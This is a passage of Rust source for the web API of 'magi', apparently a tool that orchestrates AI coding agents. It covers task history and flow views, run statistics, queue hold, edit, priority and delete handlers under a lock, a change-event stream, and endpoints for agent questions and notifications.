3460            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
3461            e.cost(),
3462        ),
3463        Some((e, _)) => (
3464            format!("closed by hand: task is {}", task.status.as_str()),
3465            e.cost(),
3466        ),
3467    };
3468    edges.push(FlowEdge {
3469        from: prev,
3470        to: "end".to_owned(),
3471        label,
3472        attempt,
3473    });
3474    FlowView {
3475        nodes,
3476        edges,
3477        attempts: task.attempts,
3478        max_attempts,
3479    }
3480}
3481
3482/// Describe every entry of `task.runs`, in order, reading each run's record
3483/// through `read`.
3484fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
3485    let mut history = Vec::with_capacity(task.runs.len());
3486    let mut seen: Vec<&str> = Vec::new();
3487    let mut prior: Option<(&str, RunStatus)> = None;
3488    for (i, run_id) in task.runs.iter().enumerate() {
3489        let state = read(run_id);
3490        let resumed = seen.contains(&run_id.as_str());
3491        seen.push(run_id);
3492        history.push(task_run_view(
3493            run_id,
3494            state.as_ref(),
3495            RunSlot {
3496                n: i + 1,
3497                resumed,
3498                resumed_later: task.runs[i + 1..]
3499                    .iter()
3500                    .position(|r| r == run_id)
3501                    .map(|off| i + off + 2),
3502                prior,
3503                last: i + 1 == task.runs.len(),
3504            },
3505            task,
3506        ));
3507        if let Some(s) = &state {
3508            prior = Some((run::short_of(run_id), s.status));
3509        }
3510    }
3511    history
3512}
3513
3514async fn task_detail(
3515    State(ui): State<Arc<Ui>>,
3516    Path(id): Path<String>,
3517) -> ApiResult<Json<TaskDetailView>> {
3518    blocking(move || {
3519        let id = resolve_task(&ui.queue, &id)?;
3520        let task = ui
3521            .queue
3522            .get(&id)
3523            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
3524        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
3525        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
3526        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
3527        let max_attempts = daemon::Opts::default().max_attempts;
3528        let flow = task_flow(&task, &history, max_attempts);
3529        Ok(Json(TaskDetailView {
3530            max_attempts,
3531            flow,
3532            history,
3533            runs_unreadable,
3534            attempts_note: ATTEMPTS_NOTE,
3535            task: TaskView::with_inventory(task, &inv),
3536        }))
3537    })
3538    .await
3539}
3540
3541/// A rate together with its denominator, so the client can tell "computed as
3542/// 0%" apart from "no data to compute it from" — both would otherwise
3543/// serialize as `0.0`. `None` means the denominator was zero.
3544#[derive(Debug, Serialize)]
3545struct RateView {
3546    pct: f64,
3547    denominator: usize,
3548}
3549
3550impl RateView {
3551    fn of(numerator: usize, denominator: usize) -> Option<Self> {
3552        (denominator > 0).then(|| Self {
3553            pct: 100.0 * numerator as f64 / denominator as f64,
3554            denominator,
3555        })
3556    }
3557}
3558
3559/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
3560/// rates, each paired with its own denominator via [`RateView`] rather than
3561/// exposing `Stats`' own percentage methods directly — see this module's
3562/// doc for why `Stats` itself is never serialized.
3563#[derive(Debug, Serialize)]
3564struct StatsTotalsView {
3565    runs: usize,
3566    merged: usize,
3567    ready: usize,
3568    blocked: usize,
3569    failed: usize,
3570    stalled: usize,
3571    verified_noop: usize,
3572    superseded: usize,
3573    in_progress: usize,
3574    completion_rate: Option<RateView>,
3575    tallied: usize,
3576    split: usize,
3577    split_rate: Option<RateView>,
3578    deliberated: usize,
3579    minds_changed: usize,
3580    converged: usize,
3581    review_rounds: usize,
3582}
3583
3584impl From<&stats::Totals> for StatsTotalsView {
3585    fn from(t: &stats::Totals) -> Self {
3586        Self {
3587            runs: t.runs,
3588            merged: t.merged,
3589            ready: t.ready,
3590            blocked: t.blocked,
3591            failed: t.failed,
3592            stalled: t.stalled,
3593            verified_noop: t.verified_noop,
3594            superseded: t.superseded,
3595            in_progress: t.in_progress,
3596            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3597            tallied: t.tallied,
3598            split: t.split,
3599            split_rate: RateView::of(t.split, t.tallied),
3600            deliberated: t.deliberated,
3601            minds_changed: t.minds_changed,
3602            converged: t.converged,
3603            review_rounds: t.review_rounds,
3604        }
3605    }
3606}
3607
3608/// [`crate::stats::AgentStats`] for the wire.
3609#[derive(Debug, Serialize)]
3610struct AgentStatsView {
3611    agent: String,
3612    entered: usize,
3613    wins: usize,
3614    empty: usize,
3615    win_rate: Option<RateView>,
3616}
3617
3618impl From<&stats::AgentStats> for AgentStatsView {
3619    fn from(a: &stats::AgentStats) -> Self {
3620        Self {
3621            agent: a.agent.clone(),
3622            entered: a.entered,
3623            wins: a.wins,
3624            empty: a.empty,
3625            win_rate: RateView::of(a.wins, a.entered),
3626        }
3627    }
3628}
3629
3630/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
3631/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
3632/// value, `None` when `rounds` is zero.
3633#[derive(Debug, Serialize)]
3634struct ReviewerStatsView {
3635    agent: String,
3636    rounds: usize,
3637    seated: usize,
3638    submitted: usize,
3639    adopted: usize,
3640    unique: usize,
3641    timeouts: usize,
3642    adopted_per_round: Option<f64>,
3643    precision: Option<RateView>,
3644    unique_rate: Option<RateView>,
3645    timeout_rate: Option<RateView>,
3646}
3647
3648impl From<&stats::ReviewerStats> for ReviewerStatsView {
3649    fn from(r: &stats::ReviewerStats) -> Self {
3650        Self {
3651            agent: r.agent.clone(),
3652            rounds: r.rounds,
3653            seated: r.seated,
3654            submitted: r.submitted,
3655            adopted: r.adopted,
3656            unique: r.unique,
3657            timeouts: r.timeouts,
3658            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3659            precision: RateView::of(r.adopted, r.submitted),
3660            unique_rate: RateView::of(r.unique, r.submitted),
3661            timeout_rate: RateView::of(r.timeouts, r.seated),
3662        }
3663    }
3664}
3665
3666/// [`crate::stats::AdvisorStats`] for the wire.
3667///
3668/// `reflection_rate` is approximate by construction — see
3669/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
3670/// that caveat is static text in `index.html`, not a field here.
3671#[derive(Debug, Serialize)]
3672struct AdvisorStatsView {
3673    agent: String,
3674    seated: usize,
3675    proposed: usize,
3676    absent: usize,
3677    faint: usize,
3678    strong: usize,
3679    reflection_rate: Option<RateView>,
3680}
3681
3682impl From<&stats::AdvisorStats> for AdvisorStatsView {
3683    fn from(a: &stats::AdvisorStats) -> Self {
3684        Self {
3685            agent: a.agent.clone(),
3686            seated: a.seated,
3687            proposed: a.proposed,
3688            absent: a.absent,
3689            faint: a.faint,
3690            strong: a.strong,
3691            reflection_rate: RateView::of(a.strong, a.proposed),
3692        }
3693    }
3694}
3695
3696/// [`crate::stats::E2eStats`] for the wire.
3697#[derive(Debug, Serialize)]
3698struct E2eStatsView {
3699    rounds: usize,
3700    failures: usize,
3701    sole_detections: usize,
3702    deferred: usize,
3703    sole_rate: Option<RateView>,
3704}
3705
3706impl From<&stats::E2eStats> for E2eStatsView {
3707    fn from(e: &stats::E2eStats) -> Self {
3708        Self {
3709            rounds: e.rounds,
3710            failures: e.failures,
3711            sole_detections: e.sole_detections,
3712            deferred: e.deferred,
3713            sole_rate: RateView::of(e.sole_detections, e.failures),
3714        }
3715    }
3716}
3717
3718/// [`crate::stats::ReleaseBumpStats`] for the wire.
3719///
3720/// `clean` is sent as a raw count, computed the same way
3721/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
3722/// needs_attention`) — never derived client-side from `automerge_enabled`,
3723/// which would misclassify a `merged_directly` bump (automerge rejected, but
3724/// magi merged it directly, so no human involvement) as needing attention.
3725#[derive(Debug, Serialize)]
3726struct ReleaseBumpStatsView {
3727    merged: usize,
3728    recorded: usize,
3729    pr_opened: usize,
3730    automerge_enabled: usize,
3731    merged_directly: usize,
3732    needs_attention: usize,
3733    clean: usize,
3734    coverage_rate: Option<RateView>,
3735    automerge_rate: Option<RateView>,
3736    attention_rate: Option<RateView>,
3737}
3738
3739impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3740    fn from(b: &stats::ReleaseBumpStats) -> Self {
3741        Self {
3742            merged: b.merged,
3743            recorded: b.recorded,
3744            pr_opened: b.pr_opened,
3745            automerge_enabled: b.automerge_enabled,
3746            merged_directly: b.merged_directly,
3747            needs_attention: b.needs_attention,
3748            clean: b.clean(),
3749            coverage_rate: RateView::of(b.recorded, b.merged),
3750            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3751            attention_rate: RateView::of(b.needs_attention, b.recorded),
3752        }
3753    }
3754}
3755
3756/// [`crate::queue::TaskCounts`] for the wire.
3757#[derive(Debug, Serialize)]
3758struct TaskCountsView {
3759    queued: usize,
3760    running: usize,
3761    done: usize,
3762    failed: usize,
3763    held: usize,
3764    blocked: usize,
3765}
3766
3767impl From<crate::queue::TaskCounts> for TaskCountsView {
3768    fn from(c: crate::queue::TaskCounts) -> Self {
3769        Self {
3770            queued: c.queued,
3771            running: c.running,
3772            done: c.done,
3773            failed: c.failed,
3774            held: c.held,
3775            blocked: c.blocked,
3776        }
3777    }
3778}
3779
3780/// [`crate::stats::RepoStats`] for the wire, one row per repository with
3781/// runs recorded — the summary the UI's repository selector is built from.
3782/// Carries no nested `Stats`: picking a repo means re-fetching
3783/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
3784/// aggregation rather than duplicating it.
3785#[derive(Debug, Serialize)]
3786struct RepoSummaryView {
3787    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
3788    /// against, full path and all (see [`stats_get`]'s own doc for why).
3789    repo: String,
3790    /// Display name only; never used for matching.
3791    name: String,
3792    runs: usize,
3793    completion_rate: Option<RateView>,
3794}
3795
3796impl From<&stats::RepoStats> for RepoSummaryView {
3797    fn from(r: &stats::RepoStats) -> Self {
3798        let t = &r.stats.totals;
3799        Self {
3800            repo: r.repo.to_string_lossy().into_owned(),
3801            name: r.name.clone(),
3802            runs: t.runs,
3803            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3804        }
3805    }
3806}
3807
3808/// `GET /api/stats` - the whole answer. `Stats` itself carries no
3809/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
3810/// renders from them) are free to grow without that becoming a wire-contract
3811/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
3812/// data" from "computed and it really is zero" the way [`RateView`] does.
3813#[derive(Debug, Serialize)]
3814struct StatsView {
3815    totals: StatsTotalsView,
3816    /// Best win rate first, as [`stats::collect`] already sorts it.
3817    agents: Vec<AgentStatsView>,
3818    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
3819    reviewers: Vec<ReviewerStatsView>,
3820    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
3821    advisors: Vec<AdvisorStatsView>,
3822    e2e: E2eStatsView,
3823    release_bumps: ReleaseBumpStatsView,
3824    queue: TaskCountsView,
3825    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
3826    /// that field's doc. Asserted to match it in
3827    /// `stats_runs_unreadable_matches_health`.
3828    ///
3829    /// Always the whole-workload count, even when `repo` narrows every other
3830    /// field to one repository - an unreadable `run.json` carries no `repo`
3831    /// a per-repository count could attribute it to, and the queue/health
3832    /// views this mirrors never scope it either. The UI must not present it
3833    /// as if it were scoped to the selected repository.
3834    runs_unreadable: usize,
3835    /// Every repository with runs recorded, most runs first - what the UI's
3836    /// repository selector is built from. Always the full list regardless of
3837    /// `repo`, so switching repositories never needs a second request.
3838    repos: Vec<RepoSummaryView>,
3839    /// The `?repo=` value this response was narrowed to, echoed back so the
3840    /// UI can confirm its selection round-tripped. `None` for the aggregate,
3841    /// all-repositories view.
3842    repo: Option<String>,
3843}
3844
3845/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
3846/// repository. Matched by full-path equality against `RunState.repo` only
3847/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
3848/// `--repo` is, because the value here always came from this same route's
3849/// own `repos` list in an earlier response, never typed by a human. A value
3850/// matching no run is a 404, not an empty aggregate: the caller asked for a
3851/// specific, named repository, and silently returning zeroes would look
3852/// exactly like a repository that has runs but none of interest.
3853#[derive(Debug, Default, Deserialize)]
3854#[serde(default)]
3855struct StatsQuery {
3856    repo: Option<String>,
3857}
3858
3859/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
3860/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
3861/// runs when `?repo=` narrows it), the same counting logic `magi stats`
3862/// prints from. Reads every readable run on disk, exactly as
3863/// [`runs_unreadable`] does, so the two counts can never drift apart the way
3864/// a separately-maintained tally could.
3865async fn stats_get(
3866    State(ui): State<Arc<Ui>>,
3867    Query(q): Query<StatsQuery>,
3868) -> ApiResult<Json<StatsView>> {
3869    blocking(move || {
3870        let states: Vec<RunState> = run_ids(&ui.runs)
3871            .into_iter()
3872            .filter_map(|id| read_run(&ui.runs, &id).ok())
3873            .collect();
3874        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3875            .iter()
3876            .map(RepoSummaryView::from)
3877            .collect();
3878        let collected = match &q.repo {
3879            Some(repo) => {
3880                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3881                if filtered.is_empty() {
3882                    return Err(ApiError::not_found(format!(
3883                        "no runs recorded against repo `{repo}`"
3884                    )));
3885                }
3886                stats::collect_refs(filtered)
3887            }
3888            None => stats::collect(&states),
3889        };
3890        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3891        Ok(Json(StatsView {
3892            totals: StatsTotalsView::from(&collected.totals),
3893            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3894            reviewers: collected
3895                .reviewers
3896                .iter()
3897                .map(ReviewerStatsView::from)
3898                .collect(),
3899            advisors: collected
3900                .advisors
3901                .iter()
3902                .map(AdvisorStatsView::from)
3903                .collect(),
3904            e2e: E2eStatsView::from(&collected.e2e),
3905            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3906            queue: TaskCountsView::from(queue_counts),
3907            runs_unreadable: runs_unreadable(&ui.runs),
3908            repos,
3909            repo: q.repo.clone(),
3910        }))
3911    })
3912    .await
3913}
3914
3915/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
3916/// gives no reason - which must keep working, since not every hold has one.
3917#[derive(Debug, Default, Deserialize)]
3918#[serde(default, deny_unknown_fields)]
3919struct HoldBody {
3920    reason: Option<String>,
3921}
3922
3923async fn queue_hold(
3924    State(ui): State<Arc<Ui>>,
3925    Path(id): Path<String>,
3926    body: std::result::Result<Json<HoldBody>, JsonRejection>,
3927) -> ApiResult<Json<TaskView>> {
3928    // An absent body is the ordinary case - most holds are unexplained, and
3929    // that has to stay a one-tap action rather than a form. A body that is
3930    // present and malformed is still a bad request.
3931    let body = match body {
3932        Ok(Json(body)) => body,
3933        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3934        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3935    };
3936    let reason = body.reason.filter(|r| !r.trim().is_empty());
3937    mutate(ui, id, move |t| {
3938        t.hold_manual(reason.clone());
3939        Ok(())
3940    })
3941    .await
3942}
3943
3944async fn queue_release(
3945    State(ui): State<Arc<Ui>>,
3946    Path(id): Path<String>,
3947) -> ApiResult<Json<TaskView>> {
3948    mutate(ui, id, |t| {
3949        t.release();
3950        Ok(())
3951    })
3952    .await
3953}
3954
3955/// The body of `POST /api/queue/{id}/priority`.
3956#[derive(Debug, Deserialize)]
3957#[serde(deny_unknown_fields)]
3958struct PriorityBody {
3959    priority: i32,
3960}
3961
3962/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
3963///
3964/// [`Task::set_priority`] is the one place the "not while running" rule is
3965/// stated; this route only carries the body to it and lets its `Err` become
3966/// the 4xx the card shows.
3967async fn queue_priority(
3968    State(ui): State<Arc<Ui>>,
3969    Path(id): Path<String>,
3970    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3971) -> ApiResult<Json<TaskView>> {
3972    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3973    mutate(ui, id, move |t| t.set_priority(body.priority)).await
3974}
3975
3976/// The body of `POST /api/queue/{id}/edit`.
3977#[derive(Debug, Deserialize)]
3978#[serde(deny_unknown_fields)]
3979struct EditBody {
3980    title: String,
3981    instruction: String,
3982    /// Save even though the new text names a branch, commit or pull request
3983    /// that unfinished work already owns.
3984    #[serde(default)]
3985    force: bool,
3986}
3987
3988/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
3989/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
3990/// that refusal's message is what the sheet shows back.
3991async fn queue_edit(
3992    State(ui): State<Arc<Ui>>,
3993    Path(id): Path<String>,
3994    body: std::result::Result<Json<EditBody>, JsonRejection>,
3995) -> ApiResult<Json<TaskView>> {
3996    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3997    let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3998    mutate(ui, id, move |t| {
3999        if !body.force && body.instruction != t.instruction {
4000            let hits =
4001                crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
4002            if !hits.is_empty() {
4003                return Err(crate::dupes::Duplicate(hits).into());
4004            }
4005        }
4006        t.edit(body.title.clone(), body.instruction.clone())
4007    })
4008    .await
4009}
4010
4011/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4012/// it, so the phone's other way to clear a task from the backlog does not
4013/// have to cost the run history, the attribution, and `created_at` the way
4014/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4015/// can be marked done by hand, because this is for the run the loop never
4016/// saw land - a merge done by hand, or a gate that misreported - and that can
4017/// happen from any status the task was left in.
4018async fn queue_done(
4019    State(ui): State<Arc<Ui>>,
4020    Path(id): Path<String>,
4021) -> ApiResult<Json<TaskView>> {
4022    let home = ui.home.clone();
4023    mutate(ui, id, move |t| {
4024        t.succeed();
4025        // Same as the loop's own settle path: closing a task by hand is just
4026        // as much "this task's story is over" as a daemon-driven `Merged`/
4027        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4028        // behind must stop looking like it still needs a human. `ui.home`,
4029        // not the process-global `run::home()`: they agree in a real
4030        // process, but only `ui.home` also agrees with a test fixture's own
4031        // directory.
4032        crate::daemon::supersede_prior_runs(t, &home);
4033        Ok(())
4034    })
4035    .await
4036}
4037
4038/// `DELETE /api/queue/{id}`.
4039///
4040/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4041/// names this task: a `running` status or an orphaned `.lock` left behind by a
4042/// killed daemon is a leftover, and treating either as authority made the
4043/// task undeletable from the phone for good. The associated runs, if any, are
4044/// kept: a run is self-contained history and not an appendage of the task.
4045async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4046    blocking(move || {
4047        let id = resolve_task(&ui.queue, &id)?;
4048        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4049        ui.queue
4050            .remove(&id, in_flight, &ui.questions)
4051            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4052        Ok(StatusCode::NO_CONTENT)
4053    })
4054    .await
4055}
4056
4057/// Read a task, change it, write it back, under the queue's own lock.
4058///
4059/// Taking the same claim a daemon takes is what makes hold, release,
4060/// priority, edit, and done safe to press while magi is running: without it
4061/// the daemon's next save would land on top of the operator's change and
4062/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4063/// both do, for a running task - and that refusal becomes the 4xx the card
4064/// shows, same as any other domain rule.
4065async fn mutate(
4066    ui: Arc<Ui>,
4067    id: String,
4068    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4069) -> ApiResult<Json<TaskView>> {
4070    blocking(move || {
4071        let id = resolve_task(&ui.queue, &id)?;
4072        // `claim` fails when the lock file already exists, which is the
4073        // conflict the UI must report: the daemon owns that task's file for
4074        // as long as it is running it, and our write would be lost under its
4075        // next save. The message names the lock either way.
4076        let _claim = ui.queue.claim(&id).map_err(|e| {
4077            ApiError::conflict(format!(
4078                "{e:#} - a daemon is running this task, so it cannot be \
4079                 changed from here yet"
4080            ))
4081        })?;
4082        let mut task = ui.queue.get(&id)?;
4083        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4084            Ok(dup) => ApiError::conflict(dup.render(
4085                "Nothing was saved. If it is not a duplicate, repeat the request with \
4086                 \"force\": true.",
4087            )),
4088            Err(e) => ApiError::bad_request_from(e),
4089        })?;
4090        ui.queue.put(&mut task)?;
4091        Ok(Json(TaskView::from(task)))
4092    })
4093    .await
4094}
4095
4096/// The change stream: one revision number per store, on connect and whenever
4097/// any of them moves.
4098///
4099/// The poll runs in one spawned task per client, which is affordable because
4100/// the work is a directory scan and a `stat` per file. It stops as soon as the
4101/// receiver is gone, so a phone that walks out of range costs nothing after
4102/// its next tick - there is no session and no cleanup to forget.
4103async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4104    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4105    tokio::spawn(async move {
4106        let mut ticker = tokio::time::interval(POLL);
4107        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4108        loop {
4109            // The first tick completes immediately, which is what makes the
4110            // stream announce the current revisions on connect.
4111            ticker.tick().await;
4112            let state = Arc::clone(&ui);
4113            let revisions = tokio::task::spawn_blocking(move || {
4114                (
4115                    state.queue.revision(),
4116                    runs_revision(&state.runs),
4117                    state.questions.revision(),
4118                    state.talks.revision(),
4119                    state.notices.revision(),
4120                    // The loop's counter is in-process state rather than a
4121                    // file, so nothing the three stats above look at would
4122                    // tell this phone that another one started the loop.
4123                    state.lock_loop().rev,
4124                )
4125            })
4126            .await;
4127            let Ok(revisions) = revisions else { break };
4128            if last == Some(revisions) {
4129                continue;
4130            }
4131            last = Some(revisions);
4132            let payload = serde_json::json!({
4133                "queue_rev": revisions.0,
4134                "runs_rev": revisions.1,
4135                "questions_rev": revisions.2,
4136                "talks_rev": revisions.3,
4137                "notifications_rev": revisions.4,
4138                "loop_rev": revisions.5,
4139            });
4140            // Serializing five integers cannot fail; giving up beats looping.
4141            let Ok(event) = Event::default().event("change").json_data(payload) else {
4142                break;
4143            };
4144            if tx.send(event).await.is_err() {
4145                break;
4146            }
4147        }
4148    });
4149    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4150        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4151}
4152
4153/// Change detection token for recorded runs under `runs`.
4154///
4155/// Combines the id and `run.json` modification time of each run, so adding,
4156/// updating, or deleting any run — even an older one — moves the revision and
4157/// notifies connected clients via the change stream. Returns 0 when no runs
4158/// exist.
4159fn runs_revision(runs: &FsPath) -> u64 {
4160    use std::hash::{Hash as _, Hasher as _};
4161
4162    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4163        .into_iter()
4164        .flatten()
4165        .flatten()
4166        .filter_map(|e| {
4167            let path = e.path().join("run.json");
4168            let mtime = path
4169                .metadata()
4170                .ok()?
4171                .modified()
4172                .ok()?
4173                .duration_since(std::time::UNIX_EPOCH)
4174                .ok()?
4175                .as_millis() as u64;
4176            let id = e.file_name().to_string_lossy().into_owned();
4177            Some((id, mtime))
4178        })
4179        .collect();
4180
4181    if entries.is_empty() {
4182        return 0;
4183    }
4184
4185    entries.sort_unstable();
4186    let mut hasher = std::hash::DefaultHasher::new();
4187    for (id, mtime) in &entries {
4188        id.hash(&mut hasher);
4189        mtime.hash(&mut hasher);
4190    }
4191    let h = hasher.finish();
4192    if h == 0 { 1 } else { h }
4193}
4194
4195/// Run ids under `runs`, newest first.
4196///
4197/// Rooted at an explicit directory rather than calling [`run::list_ids`],
4198/// which reads the process-global home: the server has to be drivable against
4199/// a temp directory for any of this to be testable.
4200fn run_ids(runs: &FsPath) -> Vec<String> {
4201    let mut ids: Vec<String> = std::fs::read_dir(runs)
4202        .into_iter()
4203        .flatten()
4204        .flatten()
4205        .filter(|e| e.path().join("run.json").is_file())
4206        .map(|e| e.file_name().to_string_lossy().into_owned())
4207        .collect();
4208    // Ids start with a sortable timestamp.
4209    ids.sort_unstable_by(|a, b| b.cmp(a));
4210    ids
4211}
4212
4213/// Read one run's state from an explicit runs root.
4214fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4215    let path = runs.join(id).join("run.json");
4216    let body =
4217        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4218    let state: RunState =
4219        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4220    // The same migration `RunState::load` applies, so a record from the
4221    // previous schema reads here as it does everywhere else (an origin-less
4222    // run shows as "origin unknown") instead of vanishing from the phone the
4223    // moment the schema is bumped.
4224    run::migrate_schema(state)
4225}
4226
4227/// Runs on disk under `runs` whose state this build cannot parse - almost
4228/// always a schema bump, occasionally a run killed mid-write.
4229///
4230/// Exposed so every surface that reports on runs shares one count instead of
4231/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
4232/// `magi doctor` calls this directly rather than guessing at the same number
4233/// a second way.
4234#[must_use]
4235pub fn runs_unreadable(runs: &FsPath) -> usize {
4236    run_ids(runs)
4237        .into_iter()
4238        .filter(|id| read_run(runs, id).is_err())
4239        .count()
4240}
4241
4242/// Expand an id or short id to exactly one run id.
4243fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4244    if runs.join(id).join("run.json").is_file() {
4245        return Ok(id.to_owned());
4246    }
4247    pick(run_ids(runs), id, "run")
4248}
4249
4250/// Expand an id or short id to exactly one task id.
4251fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4252    if queue.path_of(id).is_file() {
4253        return Ok(id.to_owned());
4254    }
4255    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4256}
4257
4258/// A question as the phone reads it.
4259///
4260/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
4261/// text already parsed into a node tree so the client never runs its own
4262/// markdown reader over agent-authored prose. A relative image path in it
4263/// resolves against this question's own panel asset route, which is the one
4264/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
4265/// separate, sandboxed document, but `detail` is rendered inline in the
4266/// operator's own page, so an image reference in it may only ever point at
4267/// files magi itself already serves for this question.
4268#[derive(Debug, Serialize)]
4269struct QuestionView {
4270    #[serde(flatten)]
4271    question: Question,
4272    detail_md: Vec<md::Node>,
4273    /// Is the ball in the agent's court right now?
4274    ///
4275    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
4276    /// [`Question::say`] - so this is the one field that tells the phone to
4277    /// disable the answer controls and show "waiting for the agent" instead of
4278    /// a card the owner can act on. Computed rather than stored on
4279    /// [`Question`] itself, on the same reasoning as `waiting` on
4280    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
4281    /// it here means the client never has to re-derive that rule.
4282    waiting_on_agent: bool,
4283    /// Who is waiting on this open question - see [`holder_of`]. Separate
4284    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
4285    /// anyone is there to take it.
4286    holder: Option<&'static str>,
4287}
4288
4289impl QuestionView {
4290    /// The view of `question`, reading who is waiting on it from `store`.
4291    ///
4292    /// `holder` needs the lease sidecar, which is why this is not a `From`.
4293    fn of(question: Question, store: &ask::Questions) -> Self {
4294        let base = md::ImageBase::QuestionPanel {
4295            id: question.id.clone(),
4296        };
4297        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4298        Self {
4299            detail_md: md::to_nodes(&question.detail, &base),
4300            waiting_on_agent: question.waiting_on_agent(),
4301            holder,
4302            question,
4303        }
4304    }
4305}
4306
4307/// Who is honestly waiting on an open question right now: `"asker"` (the
4308/// agent's own `magi ask`), `"daemon"` (`magi serve` resuming its session), or
4309/// `"nobody"` - the asker is gone and the daemon has not picked it up.
4310///
4311/// `None` for a question that is settled, and for one no `magi ask` filed
4312/// (`cwd` unset), which has no agent to wait on it in the first place.
4313fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4314    if !q.status.open() || q.cwd.is_none() {
4315        return None;
4316    }
4317    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4318        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4319        Some(_) => "asker",
4320        None => "nobody",
4321    })
4322}
4323
4324/// `GET /api/questions`.
4325///
4326/// Everything, not just the open ones: an answered question is the record of a
4327/// decision, and the phone is where the operator goes back to check what they
4328/// told an agent at 3am. `ask::Questions::list` already ranks open first.
4329async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4330    blocking(move || {
4331        Ok(Json(
4332            ui.questions
4333                .list()
4334                .into_iter()
4335                .map(|q| QuestionView::of(q, &ui.questions))
4336                .collect(),
4337        ))
4338    })
4339    .await
4340}
4341
4342/// `GET /api/notifications`: not dismissed, newest first, with the unread
4343/// count so the badge and the list cannot disagree.
4344async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4345    blocking(move || {
4346        let items = ui.notices.list();
4347        let unread = items.iter().filter(|n| n.unread()).count();
4348        Ok(Json(
4349            serde_json::json!({ "unread": unread, "items": items }),
4350        ))
4351    })
4352    .await
4353}
4354
4355fn notice_error(e: anyhow::Error) -> ApiError {
4356    // An unknown or malformed id and a vanished file are the same answer to
4357    // the phone: that notification is gone.
4358    ApiError::not_found(format!("{e:#}"))
4359}
4360
4361/// `POST /api/notifications/{id}/read`.
4362async fn notification_read(
4363    State(ui): State<Arc<Ui>>,
4364    Path(id): Path<String>,
4365) -> ApiResult<Json<Notice>> {
4366    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4367}
4368
4369/// `POST /api/notifications/{id}/dismiss`.
4370async fn notification_dismiss(
